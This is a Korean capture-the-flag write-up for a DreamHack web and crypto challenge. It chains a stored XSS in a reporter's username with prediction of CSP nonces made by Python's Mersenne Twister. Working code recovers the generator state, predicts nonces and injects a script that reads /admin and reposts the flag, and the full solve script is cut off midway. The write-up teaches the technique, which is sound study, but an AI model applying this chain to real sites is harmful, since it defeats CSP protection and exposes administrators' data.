[๐Ÿฅ‡ Gold 3] CSP nonce๋ฅผ ์˜ˆ์ธกํ•ด์„œ ๋šซ๋Š” stored XSS โ€” DreamHack Mini Social Media ํ’€์ด

2026-06-05ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‡ Gold 3] CSP nonce๋ฅผ ์˜ˆ์ธกํ•ด์„œ ๋šซ๋Š” stored XSS โ€” DreamHack Mini Social Media ํ’€์ด

CSP๊ฐ€ inline script๋ฅผ ๋ง‰์ง€๋งŒ nonce๋ฅผ Python random()์œผ๋กœ ๋งŒ๋“ ๋‹ค. ์‘๋‹ต ํ—ค๋”๋กœ ์ƒˆ๋Š” nonce๋ฅผ 624์›Œ๋“œ ๋ชจ์•„ MT19937 ์ƒํƒœ๋ฅผ ๋ณต์›ํ•˜๋ฉด ๋‹ค์Œ nonce๊ฐ€ ์˜ˆ์ธก๋œ๋‹ค. reporter username์˜ stored XSS์— ์˜ˆ์ธกํ•œ nonce๋ฅผ ๋ฐ•์•„ admin ๋ด‡ ๋ธŒ๋ผ์šฐ์ €์—์„œ /admin ํ”Œ๋ž˜๊ทธ๋ฅผ ๋นผ๋ƒˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Mini Social Media ๋ถ„๋ฅ˜: Web + Crypto ๋‚œ์ด๋„: ๐Ÿฅ‡ Gold 3 FLAG: DH{e6e701c5:VcbJZsyxrfWdck6i4loUBA==}

๊ฐ„๋‹จํ•œ ์†Œ์…œ ๋ฏธ๋””์–ด ์„œ๋น„์Šค๋‹ค. ๊ธ€ ์“ฐ๊ณ , ์ข‹์•„์š” ๋ˆ„๋ฅด๊ณ , ์‹ ๊ณ ํ•˜๋ฉด admin์ด ์‹ ๊ณ  ๋ชฉ๋ก์„ ํ™•์ธํ•œ๋‹ค. ์‹ ๊ณ ๋ฅผ admin์ด ๋ณธ๋‹ค๋Š” ์ ์—์„œ XSS ๋ƒ„์ƒˆ๊ฐ€ ๊ฐ•ํ•˜๊ฒŒ ๋‚œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ CSP๊ฐ€ ๊ฑธ๋ ค ์žˆ์–ด์„œ ํ‰๋ฒ”ํ•œ <script>๋Š” ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค.

ํ•ต์‹ฌ์€ ๊ทธ CSP์˜ nonce๋ฅผ ์–ด๋–ป๊ฒŒ ๋งŒ๋“œ๋А๋ƒ๋‹ค. ์„œ๋ฒ„๋Š” nonce๋ฅผ Python์˜ random ๋ชจ๋“ˆ๋กœ ๋ฝ‘๋Š”๋ฐ, ์ด ๊ฐ’์ด ๋งค ์‘๋‹ต ํ—ค๋”์— ๊ทธ๋Œ€๋กœ ์‹ค๋ ค ๋‚˜์˜จ๋‹ค. ๋ฉ”๋ฅด์„ผ ํŠธ์œ„์Šคํ„ฐ๋Š” ์ถœ๋ ฅ ๋ช‡ ๊ฐœ๋งŒ ๋ชจ์œผ๋ฉด ๋‚ด๋ถ€ ์ƒํƒœ๊ฐ€ ๋ณต์›๋œ๋‹ค. ์ฆ‰ ๋‹ค์Œ์— ๋‚˜์˜ฌ nonce๋ฅผ ๋ฏธ๋ฆฌ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Mini Social Media
๋‚œ์ด๋„๐Ÿฅ‡ Gold 3
๋ถ„๋ฅ˜Web + Crypto
์ œ๊ณตFlask ์†Œ์Šค + Dockerfile + admin_bot(Selenium)
ํ•ต์‹ฌ ์ทจ์•ฝ์ MT19937 nonce ์˜ˆ์ธก + reporter username stored XSS

์„œ๋น„์Šค๋Š” ๋กœ๊ทธ์ธ/ํšŒ์›๊ฐ€์ž…, ๊ธ€ ์ž‘์„ฑ(/create_post), ์ข‹์•„์š”(/like_post), ์‹ ๊ณ (/report_post)๋กœ ์ด๋ฃจ์–ด์ง„๋‹ค. ํ”Œ๋ž˜๊ทธ๋Š” /admin์— ์žˆ๊ณ , ์„ธ์…˜์˜ role_id == 2(admin)์ผ ๋•Œ๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค.

๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ โ€” host8.dreamhack.games
๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ โ€” host8.dreamhack.games

์šฐ๋ฆฌ๊ฐ€ ๋งŒ๋“œ๋Š” ๊ณ„์ •์€ role_id = 1๋กœ ๊ณ ์ •๋œ๋‹ค. admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์„œ๋ฒ„๊ฐ€ ์ผœ์งˆ ๋•Œ๋งˆ๋‹ค os.urandom(32)๋กœ ์ƒˆ๋กœ ๋ฐœ๊ธ‰๋˜๋‹ˆ ์ง์ ‘ ๋กœ๊ทธ์ธํ•  ๊ธธ์€ ์—†๋‹ค. admin ๊ถŒํ•œ์„ ๋นŒ๋ฆฌ๋ ค๋ฉด admin ๋ด‡์˜ ๋ธŒ๋ผ์šฐ์ € ์•ˆ์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•œ๋‹ค.



๐Ÿ”ฌ ๋ถ„์„

XSS๋Š” ๊ธ€ ๋‚ด์šฉ์ด ์•„๋‹ˆ๋ผ ์‹ ๊ณ ์ž ์ด๋ฆ„์— ์žˆ๋‹ค

์‹ ๊ณ ๊ฐ€ ๋“ค์–ด์˜ค๋ฉด /report_post๊ฐ€ admin_bot.read_reports()๋ฅผ ๋ถ€๋ฅด๊ณ , ๋ด‡์€ /reports ํŽ˜์ด์ง€๋ฅผ ์—ฐ๋‹ค. ๊ทธ ํ…œํ”Œ๋ฆฟ์„ ๋ณด์ž.

{# reports.html #}
<p><strong>Report ID:</strong> {{ report[0] }}</p>
<p><strong>Reported By:</strong> {{ report[1] | safe }}</p>
<p><strong>Post Content:</strong> {{ report[2] }}</p>

report[2](๊ธ€ ๋‚ด์šฉ)์€ Jinja ๊ธฐ๋ณธ autoescape๊ฐ€ ๊ฑธ๋ ค ์žˆ์–ด์„œ <script>๋ฅผ ๋„ฃ์–ด๋„ ๊ทธ๋ƒฅ ํ…์ŠคํŠธ๋กœ ๋ฐ•ํžŒ๋‹ค. ์ฒ˜์Œ์—” ๋‹น์—ฐํžˆ ๊ธ€ ๋‚ด์šฉ์„ ๋…ธ๋ ธ๋Š”๋ฐ, ์—ฌ๊ธฐ์„œ ํ•œ ๋ฒˆ ๋ง‰ํ˜”๋‹ค.

์ง„์งœ ๊ตฌ๋ฉ์€ ๋ฐ”๋กœ ์œ—์ค„, report[1] | safe๋‹ค. report[1]์€ ์‹ ๊ณ ํ•œ ์‚ฌ๋žŒ์˜ username์ด๊ณ  | safe ํƒ“์— ์ด์Šค์ผ€์ดํ”„ ์—†์ด ๊ทธ๋Œ€๋กœ ๋ Œ๋”๋œ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ XSS๋Š” ๊ธ€์ด ์•„๋‹ˆ๋ผ ๋‚ด ๊ณ„์ • ์ด๋ฆ„์— ์‹ฌ๋Š”๋‹ค. ํšŒ์›๊ฐ€์ž…ํ•  ๋•Œ username์„ <script>...</script>๋กœ ๋งŒ๋“ค๊ณ , ์•„๋ฌด ๊ธ€์ด๋‚˜ ํ•˜๋‚˜ ์‹ ๊ณ ํ•˜๋ฉด ๊ทธ ์ด๋ฆ„์ด admin ํ™”๋ฉด์—์„œ ์‚ด์•„๋‚œ๋‹ค.

์ฟผ๋ฆฌ๋ฅผ ๋ณด๋ฉด ์‹ ๊ณ ์ž๊ฐ€ ๋ˆ„๊ตฌ์ธ์ง€ ๋ถ„๋ช…ํ•˜๋‹ค.

SELECT Reports.report_id, Users.username AS reporter, Posts.content, Reports.reported_at
FROM Reports
JOIN Users ON Reports.reported_by_user_id = Users.user_id
JOIN Posts ON Reports.post_id = Posts.post_id

CSP๊ฐ€ ๊ฐ€๋กœ๋ง‰๋Š”๋‹ค

XSS ์ง€์ ์€ ์ฐพ์•˜๋Š”๋ฐ after_request๊ฐ€ ๋ชจ๋“  ์‘๋‹ต์— CSP๋ฅผ ๋ถ™์ธ๋‹ค.

@app.after_request
def add_header(response):
    nonce = get_secure_nonce()
    csp = f"default-src 'self'; " \
          f"script-src 'self' 'nonce-{nonce}' 'unsafe-inline'; " \
          f"img-src 'self'; style-src 'self' 'unsafe-inline'; " \
          f"object-src 'none'; base-uri 'none';"
    response.headers['Content-Security-Policy'] = csp
    return response

script-src์— 'unsafe-inline'์ด ๋ณด์—ฌ์„œ "์–ด, ๊ทธ๋Ÿผ inline ๊ทธ๋ƒฅ ๋˜๋Š” ๊ฑฐ ์•„๋ƒ?" ์‹ถ์—ˆ๋‹ค. ์•„๋‹ˆ๋‹ค. CSP์— nonce(๋˜๋Š” hash)๊ฐ€ ํ•˜๋‚˜๋ผ๋„ ๋“ค์–ด๊ฐ€๋ฉด ๋ธŒ๋ผ์šฐ์ €๋Š” 'unsafe-inline'์„ ๋ฌด์‹œํ•œ๋‹ค. ๋ด‡์€ ์ตœ์‹  ํฌ๋กฌ์ด๋ผ ์ด ๊ทœ์น™์„ ๋”ฐ๋ฅธ๋‹ค. ๊ฒฐ๊ตญ inline script๋Š” ์‘๋‹ต์— ์‹ค๋ฆฐ nonce๋ฅผ ์ •ํ™•ํžˆ ๋‹ฌ๊ณ  ์žˆ์–ด์•ผ๋งŒ ์‹คํ–‰๋œ๋‹ค.

img-src 'self'๋ผ ์™ธ๋ถ€๋กœ ์ด๋ฏธ์ง€ ๋น„์ฝ˜์„ ์  ์ˆ˜๋„ ์—†๊ณ , connect-src๋Š” ๋”ฐ๋กœ ์—†์–ด default-src 'self'๋ฅผ ๋”ฐ๋ฅธ๋‹ค. ์™ธ๋ถ€ ์œ ์ถœ ๊ฒฝ๋กœ๋Š” ๋‹ค ๋ง‰ํ˜€ ์žˆ๋‹ค. ๋Œ€์‹  ๊ฐ™์€ ์ถœ์ฒ˜(/admin, /create_post)๋กœ๋Š” ์ž์œ ๋กญ๊ฒŒ fetch๊ฐ€ ๋œ๋‹ค. ์ด๊ฒŒ ๋‚˜์ค‘์— ์œ ์ถœ ํ†ต๋กœ๊ฐ€ ๋œ๋‹ค.

๋‚จ์€ ์งˆ๋ฌธ์€ ํ•˜๋‚˜๋‹ค. ๊ทธ nonce๋ฅผ ์–ด๋–ป๊ฒŒ ๋งžํžˆ์ง€?


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” MT19937 nonce ์˜ˆ์ธก

nonce ์ƒ์„ฑ๊ธฐ๋ฅผ ๋œฏ์–ด๋ณด์ž.

def get_secure_nonce():
    nonce = 0
    for i in range(4):
        nonce |= random.randint(0, 0xfffffffe) << 32 * i
    return hex(nonce)[2:].zfill(32)

์ด๋ฆ„์€ secure์ง€๋งŒ random ๋ชจ๋“ˆ, ์ฆ‰ ๋ฉ”๋ฅด์„ผ ํŠธ์œ„์Šคํ„ฐ(MT19937)๋‹ค. ์•”ํ˜ธ์šฉ์ด ์•„๋‹ˆ๋ผ ์˜ˆ์ธก์šฉ์ด๋‹ค.

random.randint(0, 0xfffffffe)๋Š” ๋‚ด๋ถ€์ ์œผ๋กœ _randbelow(0xffffffff)๋ฅผ ํ˜ธ์ถœํ•˜๊ณ , ์ด๊ฑด getrandbits(32)๋ฅผ ํ•œ ๋ฒˆ ๋ถ€๋ฅธ๋‹ค(๋ฐ˜ํ™˜๊ฐ’์ด 0xffffffff์ผ ๋•Œ๋งŒ ๋‹ค์‹œ ๋ฝ‘๋Š”๋ฐ ํ™•๋ฅ ์ด 2**-32๋ผ ์‚ฌ์‹ค์ƒ ์•ˆ ์ผ์–ด๋‚œ๋‹ค). MT์˜ getrandbits(32)๋Š” ์ƒํƒœ ์›Œ๋“œ ํ•˜๋‚˜๋ฅผ temperํ•ด์„œ ๋‚ด๋ณด๋‚ด๋Š” ๊ฒƒ๊ณผ ๊ฐ™๋‹ค. ์ •๋ฆฌํ•˜๋ฉด:

  • nonce ํ•˜๋‚˜ = getrandbits(32) 4๋ฒˆ = MT ์ถœ๋ ฅ ์›Œ๋“œ 4๊ฐœ (w0๊ฐ€ ํ•˜์œ„ 32๋น„ํŠธ, w3๊ฐ€ ์ƒ์œ„)
  • ๊ทธ๋ฆฌ๊ณ  ๊ทธ nonce๋Š” ๋งค ์‘๋‹ต ํ—ค๋”์— ํ‰๋ฌธ์œผ๋กœ ์‹ค๋ ค ๋‚˜์˜จ๋‹ค

MT19937์€ ์—ฐ์†ํ•œ 32๋น„ํŠธ ์ถœ๋ ฅ 624๊ฐœ๋ฉด ๋‚ด๋ถ€ ์ƒํƒœ 624์›Œ๋“œ๋ฅผ ๊ทธ๋Œ€๋กœ ์—ญ์‚ฐํ•  ์ˆ˜ ์žˆ๋‹ค(๊ฐ ์ถœ๋ ฅ์„ untemper). 624์›Œ๋“œ = nonce 156๊ฐœ. ์‘๋‹ต 156๋ฒˆ์ด๋ฉด ๋‹ค์Œ nonce๊ฐ€ ์ „๋ถ€ ๊ณ„์‚ฐ๋œ๋‹ค.

curl -si http://host8.dreamhack.games:18269/login | grep -i content-security-policy

์‘๋‹ต ํ—ค๋”๋กœ ์ƒˆ๋Š” CSP nonce
์‘๋‹ต ํ—ค๋”๋กœ ์ƒˆ๋Š” CSP nonce

untemper๋Š” tempering 4๋‹จ๊ณ„๋ฅผ ๋น„ํŠธ ๋‹จ์œ„๋กœ ๊ฑฐ๊พธ๋กœ ํ‘ธ๋Š” ํ‘œ์ค€ ์ž‘์—…์ด๋‹ค.

def untemper(y):
    y = _undo_right_shift_xor(y, 18)
    y = _undo_left_shift_xor_mask(y, 15, 0xEFC60000)
    y = _undo_left_shift_xor_mask(y, 7, 0x9D2C5680)
    y = _undo_right_shift_xor(y, 11)
    return y
 
def nonce_to_words(nonce_hex):
    n = int(nonce_hex, 16)
    return [(n >> (32 * i)) & 0xFFFFFFFF for i in range(4)]

624์›Œ๋“œ๋ฅผ untemperํ•ด ์ƒํƒœ๋ฅผ ๋งŒ๋“ค๊ณ , random.Random์— ๊ทธ๋Œ€๋กœ ๋ผ์›Œ ๋„ฃ์œผ๋ฉด ์„œ๋ฒ„์™€ ๋˜‘๊ฐ™์ด ๊ตด๋Ÿฌ๊ฐ€๋Š” ๋ณต์ œ ์ƒ์„ฑ๊ธฐ๊ฐ€ ๋œ๋‹ค. ์ดํ›„์—” getrandbits(32)๋ฅผ ๊ฐ™์€ ๋ฐ•์ž๋กœ ๋Œ๋ฆฌ๋ฉฐ ์„œ๋ฒ„๊ฐ€ ๋‚ด๋ณด๋‚ผ nonce๋ฅผ ํ•œ ๋ฐœ ์•ž์„œ ๋ฝ‘์œผ๋ฉด ๋œ๋‹ค.

class NoncePredictor:
    def __init__(self, observed_nonces):
        words = []
        for nh in observed_nonces:
            words.extend(nonce_to_words(nh))
        state = tuple(untemper(w) for w in words[:624]) + (624,)
        self.rng = random.Random()
        self.rng.setstate((3, state, None))
        # ๋‚จ๋Š” nonce๋กœ ์ •๋ ฌ์ด ๋งž๋Š”์ง€ ์ฆ‰์‹œ ๊ฒ€์ฆ
        for i in range(624, len(words)):
            assert self.rng.getrandbits(32) == words[i]
 
    def next_nonce(self):
        w = [self.rng.getrandbits(32) for _ in range(4)]
        return format(w[0] | w[1] << 32 | w[2] << 64 | w[3] << 96, 'x').zfill(32)

๋ง๋กœ๋Š” "624์›Œ๋“œ ๋ชจ์œผ๋ฉด ๋ณต์›๋œ๋‹ค"์ง€๋งŒ, ์‹ค์ œ๋กœ ๊ทธ ๋ณต์›๊ธฐ๊ฐ€ ์„œ๋ฒ„์˜ ๋‹ค์Œ ์ถœ๋ ฅ์„ ๋ฏธ๋ฆฌ ๋งžํžˆ๋Š” ๊ฑธ ์ง์ ‘ ๋ˆˆ์œผ๋กœ ํ™•์ธํ•˜๊ณ  ์‹ถ์—ˆ๋‹ค. ๋กœ์ปฌ์—์„œ ๊ฐ€์งœ ์„œ๋ฒ„ ํ•˜๋‚˜๋ฅผ ์„ธ์›Œ(random.Random() ์ธ์Šคํ„ด์Šค) ๊ฐ™์€ NoncePredictor๋กœ ์ƒํƒœ๋ฅผ ๋ณต์›์‹œํ‚ค๊ณ , ์„œ๋ฒ„๊ฐ€ ์•„์ง ์•ˆ ๋‚ด๋†“์€ nonce 5๊ฐœ๋ฅผ ๋ฏธ๋ฆฌ ์˜ˆ์ธกํ•œ ๋’ค ์‹ค์ œ ์„œ๋ฒ„ ์ถœ๋ ฅ๊ณผ ๋‚˜๋ž€ํžˆ ๋น„๊ตํ–ˆ๋‹ค.

srv = random.Random()
 
def server_nonce():
    n = 0
    for i in range(4):
        n |= srv.randint(0, 0xfffffffe) << 32 * i
    return format(n, 'x').zfill(32)
 
observed = [server_nonce() for _ in range(160)]
predictor = NoncePredictor(observed)
 
for i in range(5):
    predicted = predictor.next_nonce()
    actual = server_nonce()
    print(f"[{i}] predicted={predicted}  actual={actual}  -> {'MATCH' if predicted == actual else 'MISMATCH'}")

MT19937 ์ƒํƒœ๋ณต์› ์‹คํ–‰ โ€” 160๊ฐœ nonce๋กœ 624์›Œ๋“œ๋ฅผ ๋ชจ์•„ ์ƒํƒœ๋ฅผ ๋ณต์›ํ•œ ๋’ค, ์„œ๋ฒ„๊ฐ€ ์•„์ง ์•ˆ ๋‚ด๋†“์€ ๋‹ค์Œ 5๊ฐœ nonce๋ฅผ ์ „๋ถ€ ์ •ํ™•ํžˆ ์˜ˆ์ธก
MT19937 ์ƒํƒœ๋ณต์› ์‹คํ–‰ โ€” 160๊ฐœ nonce๋กœ 624์›Œ๋“œ๋ฅผ ๋ชจ์•„ ์ƒํƒœ๋ฅผ ๋ณต์›ํ•œ ๋’ค, ์„œ๋ฒ„๊ฐ€ ์•„์ง ์•ˆ ๋‚ด๋†“์€ ๋‹ค์Œ 5๊ฐœ nonce๋ฅผ ์ „๋ถ€ ์ •ํ™•ํžˆ ์˜ˆ์ธก

๋‹ค์„ฏ ๋ฒˆ ์ „๋ถ€ MATCH๋‹ค. ์„œ๋ฒ„๋Š” ์•„์ง ๊ทธ ๊ฐ’์„ ๋งŒ๋“ค์ง€๋„ ์•Š์•˜๋Š”๋ฐ, ์šฐ๋ฆฌ ๋ณต์ œ ์ƒ์„ฑ๊ธฐ๊ฐ€ ๋ฏธ๋ฆฌ ๊ณ„์‚ฐํ•ด๋‘” ๊ฐ’๊ณผ ์™„์ „ํžˆ ๊ฐ™๋‹ค โ€” MT19937์„ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ nonce ์†Œ์Šค๋กœ ์“ฐ๋ฉด ์•ˆ ๋˜๋Š” ์ด์œ ๊ฐ€ ์ˆซ์ž๋กœ ๊ทธ๋Œ€๋กœ ๋“œ๋Ÿฌ๋‚œ๋‹ค.



๐ŸŽฏ ํ’€์ด ์„ค๊ณ„ โ€” ์ •๋ ฌ์ด ์ „๋ถ€๋‹ค

๋ณต์›๋งŒ์œผ๋กœ๋Š” ๋ถ€์กฑํ•˜๋‹ค. "๊ทธ ๋‹ค์Œ nonce"๊ฐ€ ์•„๋‹ˆ๋ผ "admin ๋ด‡์ด /reports๋ฅผ ๊ทธ๋ฆด ๋•Œ์˜ nonce"๋ฅผ ๋งžํ˜€์•ผ ํ•œ๋‹ค. ์‘๋‹ต ํ•˜๋‚˜๊ฐ€ nonce ํ•˜๋‚˜(4์›Œ๋“œ)๋ฅผ ์ •ํ™•ํžˆ ์†Œ๋น„ํ•˜๋‹ˆ, ๋‚ด๊ฐ€ ๋ณด๋‚ธ ์š”์ฒญ๊ณผ ๋ด‡์ด ๋ณด๋‚ธ ์š”์ฒญ์˜ ์ˆœ์„œ๋ฅผ ํ•œ ์นธ๋„ ์•ˆ ํ‹€๋ฆฌ๊ฒŒ ์„ธ์•ผ ํ•œ๋‹ค.

์š”์ฒญ ํ๋ฆ„์„ ๋”ฐ๋ผ๊ฐ€ ๋ณด๋ฉด report_post๊ฐ€ ์—ด์‡ ๋‹ค.

@app.route('/report_post', methods=['POST'])
def post_report_post():
    # ... INSERT Reports ...
    admin_bot.read_reports()           # ๋ด‡์ด ๋™๊ธฐ์ ์œผ๋กœ /reports ๋ฅผ ์—ฐ๋‹ค
    return render_template('report_completed.html')

read_reports()๋Š” driver.get('/reports')๋ผ ๋ธ”๋กœํ‚น์ด๋‹ค. ๊ทธ๋ž˜์„œ ๋ด‡์˜ /reports ์‘๋‹ต(=๋‚ด๊ฐ€ ๋…ธ๋ฆฌ๋Š” nonce)์ด ๋จผ์ € ์†Œ๋น„๋˜๊ณ , report_post ์ž์‹ ์˜ after_request๋Š” ๊ทธ ๋’ค์— ์†Œ๋น„๋œ๋‹ค. ๋ด‡ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ด์–ด์„œ ๋ถ€๋ฅด๋Š” CSSยทfavicon ์š”์ฒญ์€ ๋„ค๋น„๊ฒŒ์ด์…˜ ์‘๋‹ต ์ดํ›„๋ผ ํƒ€๊นƒ nonce์— ์˜ํ–ฅ์„ ์ฃผ์ง€ ์•Š๋Š”๋‹ค.

์—ฌ๊ธฐ์„œ ๋‘ ๋ฒˆ์งธ ์‚ฝ์งˆ. ์นด์šดํŒ…์ด ํ•œ๋‘ ์นธ ์–ด๊ธ‹๋‚ ๊นŒ ๋ด, payload์— nonce ํ›„๋ณด๋ฅผ ์—ฌ๋Ÿฌ ๊ฐœ ๋ฐ•์•„ "์‚ฐํƒ„์ด"์œผ๋กœ ์˜๋ ค ํ–ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ username์ด VARCHAR(255)๋‹ค. nonce๋ฅผ ๋‹จ script ํƒœ๊ทธ ํ•˜๋‚˜๊ฐ€ ์ด๋ฏธ 177์ž๋ผ ๋‘ ๊ฐœ๊ฐ€ ์•ˆ ๋“ค์–ด๊ฐ„๋‹ค. ํ•œ ์‘๋‹ต์—๋Š” nonce๊ฐ€ ๋‹จ ํ•˜๋‚˜๋ฟ์ด๋‹ˆ ํ›„๋ณด๋ฅผ ๋‚˜์—ดํ•ด๋„ ์˜๋ฏธ๊ฐ€ ์—†๊ณ , ๊ฒฐ๊ตญ ์ •ํ™•ํžˆ ํ•œ ๋ฐœ์„ ๋งžํ˜€์•ผ ํ•œ๋‹ค.

๊ทธ๋ž˜์„œ ๊ณต๊ฒฉ ์‹œํ€€์Šค๋ฅผ ์ตœ์†Œ ์š”์ฒญ 3๊ฐœ๋กœ ๊ณ ์ •ํ–ˆ๋‹ค. ๋ฏธ๋ฆฌ ์‹ ๊ณ ํ•  ๊ธ€ ํ•˜๋‚˜๋Š” ๋ฒ„๋ฆฌ๋Š” ๊ณ„์ •์œผ๋กœ ๋งŒ๋“ค์–ด ๋‘๊ณ , nonce ์ˆ˜์ง‘์ด ๋๋‚œ ์งํ›„ ๋‹ค๋ฅธ ์š”์ฒญ ์—†์ด ๊ณง์žฅ:

์ˆœ์„œ์š”์ฒญ์†Œ๋น„ํ•˜๋Š” nonce
0POST /register (XSS username)predict[0]
1POST /loginpredict[1]
2POST /report_post โ†’ ๋ด‡ GET /reportspredict[2] โ† ํƒ€๊นƒ

๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฅผ ๋”ฐ๋ผ๊ฐ€๋ฉด ์š”์ฒญ์ด ํ•œ ๊ฐœ ๋” ์ƒ๊ธฐ๋‹ˆ allow_redirects=False๋กœ ๋ฌถ์–ด ์‘๋‹ต ์ˆ˜๋ฅผ ๋”ฑ ๋งž์ถ˜๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๋ด‡์˜ /reports๋Š” ์ •ํ™•ํžˆ predict[2]๋‹ค. username์— ๊ทธ ๊ฐ’์„ ๋ฐ•๋Š”๋‹ค.

payload๋Š” ์™ธ๋ถ€๋กœ ๋‚˜๊ฐˆ ํ•„์š”๊ฐ€ ์—†๋‹ค. admin ๋ด‡ ๋ธŒ๋ผ์šฐ์ €(๊ฐ™์€ ์ถœ์ฒ˜)์—์„œ /admin์„ ์ฝ์–ด ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฐ›๊ณ , ๊ทธ๊ฑธ /create_post๋กœ ๋‹ค์‹œ ์˜ฌ๋ฆฌ๋ฉด ๋์ด๋‹ค. ๊ทธ ๊ธ€์€ ๊ณต๊ฐœ ํ”ผ๋“œ์— ๋œจ๋‹ˆ ๋‚ด ๊ณ„์ •์œผ๋กœ ๋“ค์–ด๊ฐ€ ์ฝ์œผ๋ฉด ๋œ๋‹ค.

fetch('/admin').then(r=>r.text())
  .then(t=>fetch('/create_post',{method:'POST',
    body:new URLSearchParams({postText:t})}))

<script nonce="์˜ˆ์ธก๊ฐ’"> + ์œ„ ์ฝ”๋“œ = 177์ž, 255 ์ œํ•œ ์•ˆ์— ๋“ค์–ด๊ฐ„๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” ๋กœ์ปฌ ๊ฒ€์ฆ์šฉ docker๊ฐ€ ์•ˆ ์˜ฌ๋ผ๊ฐ„๋‹ค

๋ฐฐํฌ ํ™˜๊ฒฝ์„ ๊ทธ๋Œ€๋กœ ๋„์›Œ์„œ ๋ด‡๊นŒ์ง€ ํฌํ•จํ•œ ์ „์ฒด ์ฒด์ธ์„ ํ™•์ธํ•˜๊ณ  ์‹ถ์—ˆ๋Š”๋ฐ, base ์ด๋ฏธ์ง€๊ฐ€ python:3.11-slim-buster์˜€๋‹ค. Debian buster๋Š” EOL์ด๋ผ apt ์ €์žฅ์†Œ๊ฐ€ archive๋กœ ๋น ์ ธ์„œ apt update๊ฐ€ 404๋กœ ์ฃฝ๋Š”๋‹ค.

E: The repository 'http://deb.debian.org/debian buster Release' does not have a Release file.
failed to solve: process "/bin/sh -c apt update -y && apt install ..." exit code: 100

์ต์Šคํ”Œ๋กœ์ž‡์ด ์˜์กดํ•˜๋Š” ๊ฑด Python random(์–ด๋А OS๋“  ๋™์ผ)ยทFlask 3.0.2(pip ๊ณ ์ •)ยทํฌ๋กฌ ๋™์ž‘๋ฟ์ด๋ผ base๋งŒ slim-bookworm์œผ๋กœ ๋ฐ”๊ฟ”๋„ ํ–‰๋™์ด ๊ทธ๋Œ€๋กœ๋‹ค. ๊ฑฐ๊ธฐ์— deprecated๋œ apt-key ๋Œ€์‹  signed-by ํ‚ค๋ง์œผ๋กœ ํฌ๋กฌ ์ €์žฅ์†Œ๋ฅผ ๋“ฑ๋กํ•ด ๋นŒ๋“œ๋ฅผ ์‚ด๋ ธ๋‹ค. ๋•๋ถ„์— ๋กœ์ปฌ์—์„œ ๋ด‡์ด ์‹ค์ œ๋กœ nonce ๋‹ฌ๋ฆฐ script๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ๊นŒ์ง€ ํ™•์ธํ•˜๊ณ  ๊ณต์‹ ์„œ๋ฒ„์— ์ˆ๋‹ค.


๐Ÿš€ Full Exploit

mt_predict.py(MT ๋ณต์›ยท์˜ˆ์ธก)์™€ solve.py(์ฒด์ธ) ๋‘ ํŒŒ์ผ๋กœ ๋‚˜๋ˆด๋‹ค. ์˜ˆ์ธก๊ธฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณต์› ์งํ›„ ๋‚ด๋ถ€ ๊ฒ€์ฆ์„ ํ•˜๊ณ , ๊ณต์‹ ์„œ๋ฒ„์— ๋Œ€ํ•ด ํ•œ ๋ฒˆ ๋” ๋ผ์ด๋ธŒ๋กœ "์˜ˆ์ธก โ†’ ์š”์ฒญ โ†’ ๋น„๊ต"๋ฅผ ๋Œ๋ ค ์ •๋ ฌ์ด ๋งž๋Š”์ง€ ๋ชป๋ฐ•๋Š”๋‹ค.

#!/usr/bin/env python3
import re, sys, time, secrets, requests
from mt_predict import NoncePredictor
 
BASE   = sys.argv[1].rstrip('/')
OFFSET = int(sys.argv[2]) if len(sys.argv) > 2 else 2   # register, login, [reports]
N_COLLECT, N_SANITY = 200, 5
NONCE_RE = re.compile(r"nonce-([0-9a-f]{32})")
 
PAYLOAD = ("fetch('/admin').then(r=>r.text())"
           ".then(t=>fetch('/create_post',{method:'POST',"
           "body:new URLSearchParams({postText:t})}))")
 
def nonce_of(r):  return NONCE_RE.search(r.headers['Content-Security-Policy']).group(1)
def register(s,u,p): return s.post(f'{BASE}/register', data={'newUsername':u,'newPassword':p}, allow_redirects=False)
def login(s,u,p):    return s.post(f'{BASE}/login',    data={'username':u,'password':p},       allow_redirects=False)
def create(s,t):     return s.post(f'{BASE}/create_post', data={'postText':t}, allow_redirects=False)
def report(s,pid):   return s.post(f'{BASE}/report_post', data={'post_id':str(pid)}, allow_redirects=False)
 
def main():
    tag = secrets.token_hex(4)
 
    # 1) ์‹ ๊ณ ํ•  ๊ธ€ ํ•˜๋‚˜ ์ค€๋น„ (๋ฒ„๋ฆฌ๋Š” ๊ณ„์ •)
    tw = requests.Session()
    register(tw, f'tw_{tag}', 'pw'); login(tw, f'tw_{tag}', 'pw'); create(tw, 'report-me')
    html = tw.get(f'{BASE}/', allow_redirects=False).text
    post_id = re.findall(r'name="post_id" value="(\d+)"', html)[0]
 
    # 2) nonce 200๊ฐœ ์ˆ˜์ง‘(์ˆœ์ฐจ = ์—ฐ์† ์›Œ๋“œ) โ†’ MT ์ƒํƒœ ๋ณต์›
    nonces = [nonce_of(requests.get(f'{BASE}/login', allow_redirects=False)) for _ in range(N_COLLECT)]
    pred = NoncePredictor(nonces)
 
    # 3) ๋ผ์ด๋ธŒ ์˜ˆ์ธก ๊ฒ€์ฆ (์˜ˆ์ธก๊ธฐ ๋™๊ธฐํ™” ์œ ์ง€)
    for _ in range(N_SANITY):
